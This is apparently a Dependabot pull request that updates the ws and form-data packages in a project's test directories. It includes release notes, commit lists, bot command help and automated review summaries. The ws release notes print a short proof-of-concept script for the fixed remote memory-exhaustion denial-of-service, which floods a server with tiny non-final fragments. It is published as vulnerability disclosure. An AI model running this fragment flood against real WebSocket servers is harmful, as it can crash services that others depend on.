build(deps): bump the npm_and_yarn group across 2 directories with 2 updates

[dependabot]

Bumps the npm_and_yarn group with 1 update in the /tests/pass_through_tests directory: ws.
Bumps the npm_and_yarn group with 1 update in the /tests/proxy_admin_ui_tests/ui_unit_tests directory: form-data.

Updates ws from 8.20.1 to 8.21.1

Release notes

Sourced from ws's releases.

8.21.1

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c0).
• The default values of the maxBufferedChunks and maxFragments options have been reduced (f197ac65).

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

... (truncated)

Commits

• ae1de54 [dist] 8.21.1
• 8e9511b [ci] Trust Coveralls Homebrew tap
• f197ac6 [fix] Lower default values of maxBufferedChunks and maxFragments
• 8df8265 [ci] Update actions/checkout action to v7
• a2f4e7c [fix] Count empty fragments toward the limit (#2329)
• e79f912 [pkg] Approve install scripts for bufferutil and utf-8-validate
• 4ea355d [doc] Document 32-bit signed integer coercion for option values
• 2120f4c [example] Remove uuid dependency
• 4c534a6 [security] Add latest vulnerability to SECURITY.md
• bca91ad [dist] 8.21.0
• Additional commits viewable in compare view

Updates form-data from 4.0.5 to 4.0.6

Changelog

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

Commits

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
• @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
• @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
• @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
• @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions
  You can disable automated security fix PRs for this repo from the Security Alerts page.

---

Summary by cubic

Update test dependencies to patch security and robustness issues. ws is bumped for a DoS fix; form-data now escapes unsafe characters. Changes are limited to test directories.

• Dependencies
  • tests/pass_through_tests: ws 8.20.1 → 8.21.1 (fixes memory exhaustion DoS; adds fragment/chunk limits with safer defaults)
  • tests/proxy_admin_ui_tests/ui_unit_tests: form-data 4.0.5 → 4.0.6 (escapes CR/LF/quote in field names; updates hasown and mime-types)

^{Written for commit 40951d3. Summary will update on new commits.}

[greptile-apps]

PR author is in the excluded authors list.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!